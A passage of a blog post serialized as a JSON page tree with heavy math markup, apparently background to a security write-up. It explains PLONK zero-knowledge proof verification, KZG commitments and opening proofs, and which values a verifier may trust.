1433],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":19,"tag":168,"props":141137,"children":141139},{"className":141138},[1439],[141140,141145],{"type":19,"tag":168,"props":141141,"children":141143},{"className":141142},[1439,19043],[141144],{"type":24,"value":16729},{"type":19,"tag":168,"props":141146,"children":141148},{"className":141147},[1456],[141149],{"type":19,"tag":168,"props":141150,"children":141152},{"className":141151},[1461],[141153],{"type":19,"tag":168,"props":141154,"children":141156},{"className":141155},[1466],[141157],{"type":19,"tag":168,"props":141158,"children":141160},{"className":141159,"style":106251},[1471],[141161],{"type":19,"tag":168,"props":141162,"children":141163},{"style":1475},[141164,141168],{"type":19,"tag":168,"props":141165,"children":141167},{"className":141166,"style":1481},[1480],[],{"type":19,"tag":168,"props":141169,"children":141171},{"className":141170},[1486,1487,1488,1489],[141172],{"type":19,"tag":168,"props":141173,"children":141175},{"className":141174},[1439,19043,1489],[141176],{"type":24,"value":53887},{"type":19,"tag":168,"props":141178,"children":141180},{"className":141179,"style":1521},[1520],[],{"type":19,"tag":168,"props":141182,"children":141184},{"className":141183},[1526],[141185],{"type":24,"value":1500},{"type":19,"tag":168,"props":141187,"children":141189},{"className":141188,"style":1521},[1520],[],{"type":19,"tag":168,"props":141191,"children":141193},{"className":141192},[1428],[141194,141198],{"type":19,"tag":168,"props":141195,"children":141197},{"className":141196,"style":91566},[1433],[],{"type":19,"tag":168,"props":141199,"children":141201},{"className":141200},[1439],[141202],{"type":24,"value":1442},{"type":24,"value":141204}," is zero on exactly those points, so if all constraints hold then ",{"type":19,"tag":27,"props":141206,"children":141208},{"className":141207},[1411,1412],[141209],{"type":19,"tag":168,"props":141210,"children":141212},{"className":141211},[1417],[141213],{"type":19,"tag":168,"props":141214,"children":141216},{"className":141215,"ariaHidden":1423},[1422],[141217],{"type":19,"tag":168,"props":141218,"children":141220},{"className":141219},[1428],[141221,141225,141230,141235,141240],{"type":19,"tag":168,"props":141222,"children":141224},{"className":141223,"style":1541},[1433],[],{"type":19,"tag":168,"props":141226,"children":141228},{"className":141227,"style":19575},[1439,19043],[141229],{"type":24,"value":141098},{"type":19,"tag":168,"props":141231,"children":141233},{"className":141232},[19172],[141234],{"type":24,"value":500},{"type":19,"tag":168,"props":141236,"children":141238},{"className":141237},[1439,19043],[141239],{"type":24,"value":16729},{"type":19,"tag":168,"props":141241,"children":141243},{"className":141242},[19194],[141244],{"type":24,"value":524},{"type":24,"value":141246}," divides ",{"type":19,"tag":27,"props":141248,"children":141250},{"className":141249},[1411,1412],[141251],{"type":19,"tag":168,"props":141252,"children":141254},{"className":141253},[1417],[141255],{"type":19,"tag":168,"props":141256,"children":141258},{"className":141257,"ariaHidden":1423},[1422],[141259],{"type":19,"tag":168,"props":141260,"children":141262},{"className":141261},[1428],[141263,141267,141272,141277,141282],{"type":19,"tag":168,"props":141264,"children":141266},{"className":141265,"style":1541},[1433],[],{"type":19,"tag":168,"props":141268,"children":141270},{"className":141269,"style":19044},[1439,19043],[141271],{"type":24,"value":119312},{"type":19,"tag":168,"props":141273,"children":141275},{"className":141274},[19172],[141276],{"type":24,"value":500},{"type":19,"tag":168,"props":141278,"children":141280},{"className":141279},[1439,19043],[141281],{"type":24,"value":16729},{"type":19,"tag":168,"props":141283,"children":141285},{"className":141284},[19194],[141286],{"type":24,"value":524},{"type":24,"value":141288},", yielding a quotient polynomial ",{"type":19,"tag":27,"props":141290,"children":141292},{"className":141291},[1411,1412],[141293],{"type":19,"tag":168,"props":141294,"children":141296},{"className":141295},[1417],[141297],{"type":19,"tag":168,"props":141298,"children":141300},{"className":141299,"ariaHidden":1423},[1422],[141301],{"type":19,"tag":168,"props":141302,"children":141304},{"className":141303},[1428],[141305,141309,141314,141319,141324],{"type":19,"tag":168,"props":141306,"children":141308},{"className":141307,"style":1541},[1433],[],{"type":19,"tag":168,"props":141310,"children":141312},{"className":141311,"style":19044},[1439,19043],[141313],{"type":24,"value":3422},{"type":19,"tag":168,"props":141315,"children":141317},{"className":141316},[19172],[141318],{"type":24,"value":500},{"type":19,"tag":168,"props":141320,"children":141322},{"className":141321},[1439,19043],[141323],{"type":24,"value":16729},{"type":19,"tag":168,"props":141325,"children":141327},{"className":141326},[19194],[141328],{"type":24,"value":524},{"type":24,"value":18959},{"type":19,"tag":27,"props":141331,"children":141333},{"className":141332},[1411,1412],[141334],{"type":19,"tag":168,"props":141335,"children":141337},{"className":141336},[1417],[141338],{"type":19,"tag":168,"props":141339,"children":141341},{"className":141340,"ariaHidden":1423},[1422],[141342,141383,141424],{"type":19,"tag":168,"props":141343,"children":141345},{"className":141344},[1428],[141346,141350,141355,141360,141365,141370,141374,141379],{"type":19,"tag":168,"props":141347,"children":141349},{"className":141348,"style":1541},[1433],[],{"type":19,"tag":168,"props":141351,"children":141353},{"className":141352,"style":19044},[1439,19043],[141354],{"type":24,"value":119312},{"type":19,"tag":168,"props":141356,"children":141358},{"className":141357},[19172],[141359],{"type":24,"value":500},{"type":19,"tag":168,"props":141361,"children":141363},{"className":141362},[1439,19043],[141364],{"type":24,"value":16729},{"type":19,"tag":168,"props":141366,"children":141368},{"className":141367},[19194],[141369],{"type":24,"value":524},{"type":19,"tag":168,"props":141371,"children":141373},{"className":141372,"style":1618},[1520],[],{"type":19,"tag":168,"props":141375,"children":141377},{"className":141376},[1623],[141378],{"type":24,"value":486},{"type":19,"tag":168,"props":141380,"children":141382},{"className":141381,"style":1618},[1520],[],{"type":19,"tag":168,"props":141384,"children":141386},{"className":141385},[1428],[141387,141391,141396,141401,141406,141411,141415,141420],{"type":19,"tag":168,"props":141388,"children":141390},{"className":141389,"style":1541},[1433],[],{"type":19,"tag":168,"props":141392,"children":141394},{"className":141393,"style":19044},[1439,19043],[141395],{"type":24,"value":3422},{"type":19,"tag":168,"props":141397,"children":141399},{"className":141398},[19172],[141400],{"type":24,"value":500},{"type":19,"tag":168,"props":141402,"children":141404},{"className":141403},[1439,19043],[141405],{"type":24,"value":16729},{"type":19,"tag":168,"props":141407,"children":141409},{"className":141408},[19194],[141410],{"type":24,"value":524},{"type":19,"tag":168,"props":141412,"children":141414},{"className":141413,"style":1521},[1520],[],{"type":19,"tag":168,"props":141416,"children":141418},{"className":141417},[1526],[141419],{"type":24,"value":108796},{"type":19,"tag":168,"props":141421,"children":141423},{"className":141422,"style":1521},[1520],[],{"type":19,"tag":168,"props":141425,"children":141427},{"className":141426},[1428],[141428,141432,141437,141442,141447],{"type":19,"tag":168,"props":141429,"children":141431},{"className":141430,"style":1541},[1433],[],{"type":19,"tag":168,"props":141433,"children":141435},{"className":141434,"style":19575},[1439,19043],[141436],{"type":24,"value":141098},{"type":19,"tag":168,"props":141438,"children":141440},{"className":141439},[19172],[141441],{"type":24,"value":500},{"type":19,"tag":168,"props":141443,"children":141445},{"className":141444},[1439,19043],[141446],{"type":24,"value":16729},{"type":19,"tag":168,"props":141448,"children":141450},{"className":141449},[19194],[141451],{"type":24,"value":524},{"type":24,"value":948},{"type":19,"tag":20,"props":141454,"children":141455},{},[141456],{"type":19,"tag":1344,"props":141457,"children":141460},{"alt":141458,"src":141459},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":19,"tag":7050,"props":141462,"children":141464},{"id":141463},"polynomial-commitments-and-opening-proofs",[141465],{"type":24,"value":141466},"Polynomial commitments and opening proofs",{"type":19,"tag":20,"props":141468,"children":141469},{},[141470,141472,141477,141479,141484],{"type":24,"value":141471},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":19,"tag":293,"props":141473,"children":141474},{},[141475],{"type":24,"value":141476},"commitments",{"type":24,"value":141478},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":19,"tag":293,"props":141480,"children":141481},{},[141482],{"type":24,"value":141483},"opening proof",{"type":24,"value":141485}," that the claimed value is consistent with the earlier commitment.",{"type":19,"tag":20,"props":141487,"children":141488},{},[141489],{"type":24,"value":141490},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":19,"tag":7050,"props":141492,"children":141494},{"id":141493},"reducing-to-a-single-random-point",[141495],{"type":24,"value":141496},"Reducing to a single random point",{"type":19,"tag":20,"props":141498,"children":141499},{},[141500,141502,141542,141544,141569,141571,141693,141695,141720],{"type":24,"value":141501},"After the prover commits to all polynomials, including ",{"type":19,"tag":27,"props":141503,"children":141505},{"className":141504},[1411,1412],[141506],{"type":19,"tag":168,"props":141507,"children":141509},{"className":141508},[1417],[141510],{"type":19,"tag":168,"props":141511,"children":141513},{"className":141512,"ariaHidden":1423},[1422],[141514],{"type":19,"tag":168,"props":141515,"children":141517},{"className":141516},[1428],[141518,141522,141527,141532,141537],{"type":19,"tag":168,"props":141519,"children":141521},{"className":141520,"style":1541},[1433],[],{"type":19,"tag":168,"props":141523,"children":141525},{"className":141524,"style":19044},[1439,19043],[141526],{"type":24,"value":3422},{"type":19,"tag":168,"props":141528,"children":141530},{"className":141529},[19172],[141531],{"type":24,"value":500},{"type":19,"tag":168,"props":141533,"children":141535},{"className":141534},[1439,19043],[141536],{"type":24,"value":16729},{"type":19,"tag":168,"props":141538,"children":141540},{"className":141539},[19194],[141541],{"type":24,"value":524},{"type":24,"value":141543},", the verifier picks a random challenge point ",{"type":19,"tag":27,"props":141545,"children":141547},{"className":141546},[1411,1412],[141548],{"type":19,"tag":168,"props":141549,"children":141551},{"className":141550},[1417],[141552],{"type":19,"tag":168,"props":141553,"children":141555},{"className":141554,"ariaHidden":1423},[1422],[141556],{"type":19,"tag":168,"props":141557,"children":141559},{"className":141558},[1428],[141560,141564],{"type":19,"tag":168,"props":141561,"children":141563},{"className":141562,"style":108375},[1433],[],{"type":19,"tag":168,"props":141565,"children":141567},{"className":141566,"style":111091},[1439,19043],[141568],{"type":24,"value":111094},{"type":24,"value":141570}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":19,"tag":27,"props":141572,"children":141574},{"className":141573},[1411,1412],[141575],{"type":19,"tag":168,"props":141576,"children":141578},{"className":141577},[1417],[141579],{"type":19,"tag":168,"props":141580,"children":141582},{"className":141581,"ariaHidden":1423},[1422],[141583,141624,141665],{"type":19,"tag":168,"props":141584,"children":141586},{"className":141585},[1428],[141587,141591,141596,141601,141606,141611,141615,141620],{"type":19,"tag":168,"props":141588,"children":141590},{"className":141589,"style":1541},[1433],[],{"type":19,"tag":168,"props":141592,"children":141594},{"className":141593,"style":19044},[1439,19043],[141595],{"type":24,"value":119312},{"type":19,"tag":168,"props":141597,"children":141599},{"className":141598},[19172],[141600],{"type":24,"value":500},{"type":19,"tag":168,"props":141602,"children":141604},{"className":141603,"style":111091},[1439,19043],[141605],{"type":24,"value":111094},{"type":19,"tag":168,"props":141607,"children":141609},{"className":141608},[19194],[141610],{"type":24,"value":524},{"type":19,"tag":168,"props":141612,"children":141614},{"className":141613,"style":1618},[1520],[],{"type":19,"tag":168,"props":141616,"children":141618},{"className":141617},[1623],[141619],{"type":24,"value":486},{"type":19,"tag":168,"props":141621,"children":141623},{"className":141622,"style":1618},[1520],[],{"type":19,"tag":168,"props":141625,"children":141627},{"className":141626},[1428],[141628,141632,141637,141642,141647,141652,141656,141661],{"type":19,"tag":168,"props":141629,"children":141631},{"className":141630,"style":1541},[1433],[],{"type":19,"tag":168,"props":141633,"children":141635},{"className":141634,"style":19044},[1439,19043],[141636],{"type":24,"value":3422},{"type":19,"tag":168,"props":141638,"children":141640},{"className":141639},[19172],[141641],{"type":24,"value":500},{"type":19,"tag":168,"props":141643,"children":141645},{"className":141644,"style":111091},[1439,19043],[141646],{"type":24,"value":111094},{"type":19,"tag":168,"props":141648,"children":141650},{"className":141649},[19194],[141651],{"type":24,"value":524},{"type":19,"tag":168,"props":141653,"children":141655},{"className":141654,"style":1521},[1520],[],{"type":19,"tag":168,"props":141657,"children":141659},{"className":141658},[1526],[141660],{"type":24,"value":108796},{"type":19,"tag":168,"props":141662,"children":141664},{"className":141663,"style":1521},[1520],[],{"type":19,"tag":168,"props":141666,"children":141668},{"className":141667},[1428],[141669,141673,141678,141683,141688],{"type":19,"tag":168,"props":141670,"children":141672},{"className":141671,"style":1541},[1433],[],{"type":19,"tag":168,"props":141674,"children":141676},{"className":141675,"style":19575},[1439,19043],[141677],{"type":24,"value":141098},{"type":19,"tag":168,"props":141679,"children":141681},{"className":141680},[19172],[141682],{"type":24,"value":500},{"type":19,"tag":168,"props":141684,"children":141686},{"className":141685,"style":111091},[1439,19043],[141687],{"type":24,"value":111094},{"type":19,"tag":168,"props":141689,"children":141691},{"className":141690},[19194],[141692],{"type":24,"value":524},{"type":24,"value":141694}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":19,"tag":27,"props":141696,"children":141698},{"className":141697},[1411,1412],[141699],{"type":19,"tag":168,"props":141700,"children":141702},{"className":141701},[1417],[141703],{"type":19,"tag":168,"props":141704,"children":141706},{"className":141705,"ariaHidden":1423},[1422],[141707],{"type":19,"tag":168,"props":141708,"children":141710},{"className":141709},[1428],[141711,141715],{"type":19,"tag":168,"props":141712,"children":141714},{"className":141713,"style":108375},[1433],[],{"type":19,"tag":168,"props":141716,"children":141718},{"className":141717,"style":111091},[1439,19043],[141719],{"type":24,"value":111094},{"type":24,"value":141721}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":19,"tag":20,"props":141723,"children":141724},{},[141725,141727,141752,141754,141759],{"type":24,"value":141726},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":19,"tag":27,"props":141728,"children":141730},{"className":141729},[1411,1412],[141731],{"type":19,"tag":168,"props":141732,"children":141734},{"className":141733},[1417],[141735],{"type":19,"tag":168,"props":141736,"children":141738},{"className":141737,"ariaHidden":1423},[1422],[141739],{"type":19,"tag":168,"props":141740,"children":141742},{"className":141741},[1428],[141743,141747],{"type":19,"tag":168,"props":141744,"children":141746},{"className":141745,"style":108375},[1433],[],{"type":19,"tag":168,"props":141748,"children":141750},{"className":141749,"style":111091},[1439,19043],[141751],{"type":24,"value":111094},{"type":24,"value":141753},", the prover supplies ",{"type":19,"tag":293,"props":141755,"children":141756},{},[141757],{"type":24,"value":141758},"evaluation claims",{"type":24,"value":141760}," that must be checked against those commitments with opening proofs.",{"type":19,"tag":20,"props":141762,"children":141763},{},[141764,141766,141770],{"type":24,"value":141765},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":19,"tag":293,"props":141767,"children":141768},{},[141769],{"type":24,"value":102078},{"type":24,"value":141771}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":19,"tag":7050,"props":141773,"children":141775},{"id":141774},"what-the-verifier-is-actually-allowed-to-trust",[141776],{"type":24,"value":141777},"What the verifier is actually allowed to trust",{"type":19,"tag":20,"props":141779,"children":141780},{},[141781,141783,141788],{"type":24,"value":141782},"For this bug, one invariant matters more than the rest: ",{"type":19,"tag":51,"props":141784,"children":141785},{},[141786],{"type":24,"value":141787},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":24,"value":948},{"type":19,"tag":20,"props":141790,"children":141791},{},[141792,141794,141886,141887,141979,141981,142006,142008,142048,142049,142089,142090,142183,142184,142230,142232,142319,142320,142407,142408,142495],{"type":24,"value":141793},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":19,"tag":27,"props":141795,"children":141797},{"className":141796},[1411,1412],[141798],{"type":19,"tag":168,"props":141799,"children":141801},{"className":141800},[1417],[141802],{"type":19,"tag":168,"props":141803,"children":141805},{"className":141804,"ariaHidden":1423},[1422],[141806],{"type":19,"tag":168,"props":141807,"children":141809},{"className":141808},[1428],[141810,141814,141871,141876,141881],{"type":19,"tag":168,"props":141811,"children":141813},{"className":141812,"style":1541},[1433],[],{"type":19,"tag":168,"props":141815,"children":141817},{"className":141816},[1439],[141818,141823],{"type":19,"tag":168,"props":141819,"children":141821},{"className":141820,"style":19575},[1439,19043],[141822],{"type":24,"value":141098},{"type":19,"tag":168,"props":141824,"children":141826},{"className":141825},[1456],[141827],{"type":19,"tag":168,"props":141828,"children":141830},{"className":141829},[1461,19097],[141831,141860],{"type":19,"tag":168,"props":141832,"children":141834},{"className":141833},[1466],[141835,141855],{"type":19,"tag":168,"props":141836,"children":141838},{"className":141837,"style":140089},[1471],[141839],{"type":19,"tag":168,"props":141840,"children":141841},{"style":113783},[141842,141846],{"type":19,"tag":168,"props":141843,"children":141845},{"className":141844,"style":1481},[1480],[],{"type":19,"tag":168,"props":141847,"children":141849},{"className":141848},[1486,1487,1488,1489],[141850],{"type":19,"tag":168,"props":141851,"children":141853},{"className":141852,"style":90769},[1439,19043,1489],[141854],{"type":24,"value":90772},{"type":19,"tag":168,"props":141856,"children":141858},{"className":141857},[19200],[141859],{"type":24,"value":19203},{"type":19,"tag":168,"props":141861,"children":141863},{"className":141862},[1466],[141864],{"type":19,"tag":168,"props":141865,"children":141867},{"className":141866,"style":90618},[1471],[141868],{"type":19,"tag":168,"props":141869,"children":141870},{},[],{"type":19,"tag":168,"props":141872,"children":141874},{"className":141873},[19172],[141875],{"type":24,"value":500},{"type":19,"tag":168,"props":141877,"children":141879},{"className":141878,"style":111091},[1439,19043],[141880],{"type":24,"value":111094},{"type":19,"tag":168,"props":141882,"children":141884},{"className":141883},[19194],[141885],{"type":24,"value":524},{"type":24,"value":471},{"type":19,"tag":27,"props":141888,"children":141890},{"className":141889},[1411,1412],[141891],{"type":19,"tag":168,"props":141892,"children":141894},{"className":141893},[1417],[141895],{"type":19,"tag":168,"props":141896,"children":141898},{"className":141897,"ariaHidden":1423},[1422],[141899],{"type":19,"tag":168,"props":141900,"children":141902},{"className":141901},[1428],[141903,141907,141964,141969,141974],{"type":19,"tag":168,"props":141904,"children":141906},{"className":141905,"style":1541},[1433],[],{"type":19,"tag":168,"props":141908,"children":141910},{"className":141909},[1439],[141911,141916],{"type":19,"tag":168,"props":141912,"children":141914},{"className":141913},[1439,19043],[141915],{"type":24,"value":115498},{"type":19,"tag":168,"props":141917,"children":141919},{"className":141918},[1456],[141920],{"type":19,"tag":168,"props":141921,"children":141923},{"className":141922},[1461,19097],[141924,141953],{"type":19,"tag":168,"props":141925,"children":141927},{"className":141926},[1466],[141928,141948],{"type":19,"tag":168,"props":141929,"children":141931},{"className":141930,"style":90587},[1471],[141932],{"type":19,"tag":168,"props":141933,"children":141934},{"style":90591},[141935,141939],{"type":19,"tag":168,"props":141936,"children":141938},{"className":141937,"style":1481},[1480],[],{"type":19,"tag":168,"props":141940,"children":141942},{"className":141941},[1486,1487,1488,1489],[141943],{"type":19,"tag":168,"props":141944,"children":141946},{"className":141945},[1439,1489],[141947],{"type":24,"value":1442},{"type":19,"tag":168,"props":141949,"children":141951},{"className":141950},[19200],[141952],{"type":24,"value":19203},{"type":19,"tag":168,"props":141954,"children":141956},{"className":141955},[1466],[141957],{"type":19,"tag":168,"props":141958,"children":141960},{"className":141959,"style":90618},[1471],[141961],{"type":19,"tag":168,"props":141962,"children":141963},{},[],{"type":19,"tag":168,"props":141965,"children":141967},{"className":141966},[19172],[141968],{"type":24,"value":500},{"type":19,"tag":168,"props":141970,"children":141972},{"className":141971,"style":111091},[1439,19043],[141973],{"type":24,"value":111094},{"type":19,"tag":168,"props":141975,"children":141977},{"className":141976},[19194],[141978],{"type":24,"value":524},{"type":24,"value":141980},", the public-input polynomial at ",{"type":19,"tag":27,"props":141982,"children":141984},{"className":141983},[1411,1412],[141985],{"type":19,"tag":168,"props":141986,"children":141988},{"className":141987},[1417],[141989],{"type":19,"tag":168,"props":141990,"children":141992},{"className":141991,"ariaHidden":1423},[1422],[141993],{"type":19,"tag":168,"props":141994,"children":141996},{"className":141995},[1428],[141997,142001],{"type":19,"tag":168,"props":141998,"children":142000},{"className":141999,"style":108375},[1433],[],{"type":19,"tag":168,"props":142002,"children":142004},{"className":142003,"style":111091},[1439,19043],[142005],{"type":24,"value":111094},{"type":24,"value":142007},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":19,"tag":27,"props":142009,"children":142011},{"className":142010},[1411,1412],[142012],{"type":19,"tag":168,"props":142013,"children":142015},{"className":142014},[1417],[142016],{"type":19,"tag":168,"props":142017,"children":142019},{"className":142018,"ariaHidden":1423},[1422],[142020],{"type":19,"tag":168,"props":142021,"children":142023},{"className":142022},[1428],[142024,142028,142033,142038,142043],{"type":19,"tag":168,"props":142025,"children":142027},{"className":142026,"style":1541},[1433],[],{"type":19,"tag":168,"props":142029,"children":142031},{"className":142030},[1439,19043],[142032],{"type":24,"value":269},{"type":19,"tag":168,"props":142034,"children":142036},{"className":142035},[19172],[142037],{"type":24,"value":500},{"type":19,"tag":168,"props":142039,"children":142041},{"className":142040,"style":111091},[1439,19043],[142042],{"type":24,"value":111094},{"type":19,"tag":168,"props":142044,"children":142046},{"className":142045},[19194],[142047],{"type":24,"value":524},{"type":24,"value":471},{"type":19,"tag":27,"props":142050,"children":142052},{"className":142051},[1411,1412],[142053],{"type":19,"tag":168,"props":142054,"children":142056},{"className":142055},[1417],[142057],{"type":19,"tag":168,"props":142058,"children":142060},{"className":142059,"ariaHidden":1423},[1422],[142061],{"type":19,"tag":168,"props":142062,"children":142064},{"className":142063},[1428],[142065,142069,142074,142079,142084],{"type":19,"tag":168,"props":142066,"children":142068},{"className":142067,"style":1541},[1433],[],{"type":19,"tag":168,"props":142070,"children":142072},{"className":142071},[1439,19043],[142073],{"type":24,"value":621},{"type":19,"tag":168,"props":142075,"children":142077},{"className":142076},[19172],[142078],{"type":24,"value":500},{"type":19,"tag":168,"props":142080,"children":142082},{"className":142081,"style":111091},[1439,19043],[142083],{"type":24,"value":111094},{"type":19,"tag":168,"props":142085,"children":142087},{"className":142086},[19194],[142088],{"type":24,"value":524},{"type":24,"value":471},{"type":19,"tag":27,"props":142091,"children":142093},{"className":142092},[1411,1412],[142094],{"type":19,"tag":168,"props":142095,"children":142097},{"className":142096},[1417],[142098],{"type":19,"tag":168,"props":142099,"children":142101},{"className":142100,"ariaHidden":1423},[1422],[142102],{"type":19,"tag":168,"props":142103,"children":142105},{"className":142104},[1428],[142106,142110,142168,142173,142178],{"type":19,"tag":168,"props":142107,"children":142109},{"className":142108,"style":1541},[1433],[],{"type":19,"tag":168,"props":142111,"children":142113},{"className":142112},[1439],[142114,142120],{"type":19,"tag":168,"props":142115,"children":142117},{"className":142116,"style":91021},[1439,19043],[142118],{"type":24,"value":142119},"σ",{"type":19,"tag":168,"props":142121,"children":142123},{"className":142122},[1456],[142124],{"type":19,"tag":168,"props":142125,"children":142127},{"className":142126},[1461,19097],[142128,142157],{"type":19,"tag":168,"props":142129,"children":142131},{"className":142130},[1466],[142132,142152],{"type":19,"tag":168,"props":142133,"children":142135},{"className":142134,"style":90587},[1471],[142136],{"type":19,"tag":168,"props":142137,"children":142138},{"style":91068},[142139,142143],{"type":19,"tag":168,"props":142140,"children":142142},{"className":142141,"style":1481},[1480],[],{"type":19,"tag":168,"props":142144,"children":142146},{"className":142145},[1486,1487,1488,1489],[142147],{"type":19,"tag":168,"props":142148,"children":142150},{"className":142149},[1439,1489],[142151],{"type":24,"value":1442},{"type":19,"tag":168,"props":142153,"children":142155},{"className":142154},[19200],[142156],{"type":24,"value":19203},{"type":19,"tag":168,"props":142158,"children":142160},{"className":142159},[1466],[142161],{"type":19,"tag":168,"props":142162,"children":142164},{"className":142163,"style":90618},[1471],[142165],{"type":19,"tag":168,"props":142166,"children":142167},{},[],{"type":19,"tag":168,"props":142169,"children":142171},{"className":142170},[19172],[142172],{"type":24,"value":500},{"type":19,"tag":168,"props":142174,"children":142176},{"className":142175,"style":111091},[1439,19043],[142177],{"type":24,"value":111094},{"type":19,"tag":168,"props":142179,"children":142181},{"className":142180},[19194],[142182],{"type":24,"value":524},{"type":24,"value":471},{"type":19,"tag":27,"props":142185,"children":142187},{"className":142186},[1411,1412],[142188],{"type":19,"tag":168,"props":142189,"children":142191},{"className":142190},[1417],[142192],{"type":19,"tag":168,"props":142193,"children":142195},{"className":142194,"ariaHidden":1423},[1422],[142196],{"type":19,"tag":168,"props":142197,"children":142199},{"className":142198},[1428],[142200,142204,142209,142214,142219,142225],{"type":19,"tag":168,"props":142201,"children":142203},{"className":142202,"style":1541},[1433],[],{"type":19,"tag":168,"props":142205,"children":142207},{"className":142206},[1439,19043],[142208],{"type":24,"value":269},{"type":19,"tag":168,"props":142210,"children":142212},{"className":142211},[19172],[142213],{"type":24,"value":500},{"type":19,"tag":168,"props":142215,"children":142217},{"className":142216,"style":111091},[1439,19043],[142218],{"type":24,"value":111094},{"type":19,"tag":168,"props":142220,"children":142222},{"className":142221,"style":91021},[1439,19043],[142223],{"type":24,"value":142224},"ω",{"type":19,"tag":168,"props":142226,"children":142228},{"className":142227},[19194],[142229],{"type":24,"value":524},{"type":24,"value":142231},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":19,"tag":27,"props":142233,"children":142235},{"className":142234},[1411,1412],[142236],{"type":19,"tag":168,"props":142237,"children":142239},{"className":142238},[1417],[142240],{"type":19,"tag":168,"props":142241,"children":142243},{"className":142242,"ariaHidden":1423},[1422],[142244],{"type":19,"tag":168,"props":142245,"children":142247},{"className":142246},[1428],[142248,142252,142257,142314],{"type":19,"tag":168,"props":142249,"children":142251},{"className":142250,"style":1541},[1433],[],{"type":19,"tag":168,"props":142253,"children":142255},{"className":142254},[19172],[142256],{"type":24,"value":1152},{"type":19,"tag":168,"props":142258,"children":142260},{"className":142259},[1439],[142261,142266],{"type":19,"tag":168,"props":142262,"children":142264},{"className":142263,"style":91021},[1439,19043],[142265],{"type":24,"value":91024},{"type":19,"tag":168,"props":142267,"children":142269},{"className":142268},[1456],[142270],{"type":19,"tag":168,"props":142271,"children":142273},{"className":142272},[1461,19097],[142274,142303],{"type":19,"tag":168,"props":142275,"children":142277},{"className":142276},[1466],[142278,142298],{"type":19,"tag":168,"props":142279,"children":142281},{"className":142280,"style":140089},[1471],[142282],{"type":19,"tag":168,"props":142283,"children":142284},{"style":91068},[142285,142289],{"type":19,"tag":168,"props":142286,"children":142288},{"className":142287,"style":1481},[1480],[],{"type":19,"tag":168,"props":142290,"children":142292},{"className":142291},[1486,1487,1488,1489],[142293],{"type":19,"tag":168,"props":142294,"children":142296},{"className":142295,"style":92543},[1439,19043,1489],[142297],{"type":24,"value":92546},{"type":19,"tag":168,"props":142299,"children":142301},{"className":142300},[19200],[142302],{"type":24,"value":19203},{"type":19,"tag":168,"props":142304,"children":142306},{"className":142305},[1466],[142307],{"type":19,"tag":168,"props":142308,"children":142310},{"className":142309,"style":90618},[1471],[142311],{"type":19,"tag":168,"props":142312,"children":142313},{},[],{"type":19,"tag":168,"props":142315,"children":142317},{"className":142316},[19194],[142318],{"type":24,"value":12858},{"type":24,"value":471},{"type":19,"tag":27,"props":142321,"children":142323},{"className":142322},[1411,1412],[142324],{"type":19,"tag":168,"props":142325,"children":142327},{"className":142326},[1417],[142328],{"type":19,"tag":168,"props":142329,"children":142331},{"className":142330,"ariaHidden":1423},[1422],[142332],{"type":19,"tag":168,"props":142333,"children":142335},{"className":142334},[1428],[142336,142340,142345,142402],{"type":19,"tag":168,"props":142337,"children":142339},{"className":142338,"style":1541},[1433],[],{"type":19,"tag":168,"props":142341,"children":142343},{"className":142342},[19172],[142344],{"type":24,"value":1152},{"type":19,"tag":168,"props":142346,"children":142348},{"className":142347},[1439],[142349,142354],{"type":19,"tag":168,"props":142350,"children":142352},{"className":142351,"style":91021},[1439,19043],[142353],{"type":24,"value":91024},{"type":19,"tag":168,"props":142355,"children":142357},{"className":142356},[1456],[142358],{"type":19,"tag":168,"props":142359,"children":142361},{"className":142360},[1461,19097],[142362,142391],{"type":19,"tag":168,"props":142363,"children":142365},{"className":142364},[1466],[142366,142386],{"type":19,"tag":168,"props":142367,"children":142369},{"className":142368,"style":140089},[1471],[142370],{"type":19,"tag":168,"props":142371,"children":142372},{"style":91068},[142373,142377],{"type":19,"tag":168,"props":142374,"children":142376},{"className":142375,"style":1481},[1480],[],{"type":19,"tag":168,"props":142378,"children":142380},{"className":142379},[1486,1487,1488,1489],[142381],{"type":19,"tag":168,"props":142382,"children":142384},{"className":142383,"style":90535},[1439,19043,1489],[142385],{"type":24,"value":112853},{"type":19,"tag":168,"props":142387,"children":142389},{"className":142388},[19200],[142390],{"type":24,"value":19203},{"type":19,"tag":168,"props":142392,"children":142394},{"className":142393},[1466],[142395],{"type":19,"tag":168,"props":142396,"children":142398},{"className":142397,"style":90618},[1471],[142399],{"type":19,"tag":168,"props":142400,"children":142401},{},[],{"type":19,"tag":168,"props":142403,"children":142405},{"className":142404},[19194],[142406],{"type":24,"value":12858},{"type":24,"value":471},{"type":19,"tag":27,"props":142409,"children":142411},{"className":142410},[1411,1412],[142412],{"type":19,"tag":168,"props":142413,"children":142415},{"className":142414},[1417],[142416],{"type":19,"tag":168,"props":142417,"children":142419},{"className":142418,"ariaHidden":1423},[1422],[142420],{"type":19,"tag":168,"props":142421,"children":142423},{"className":142422},[1428],[142424,142428,142433,142490],{"type":19,"tag":168,"props":142425,"children":142427},{"className":142426,"style":1541},[1433],[],{"type":19,"tag":168,"props":142429,"children":142431},{"className":142430},[19172],[142432],{"type":24,"value":1152},{"type":19,"tag":168,"props":142434,"children":142436},{"className":142435},[1439],[142437,142442],{"type":19,"tag":168,"props":142438,"children":142440},{"className":142439,"style":91021},[1439,19043],[142441],{"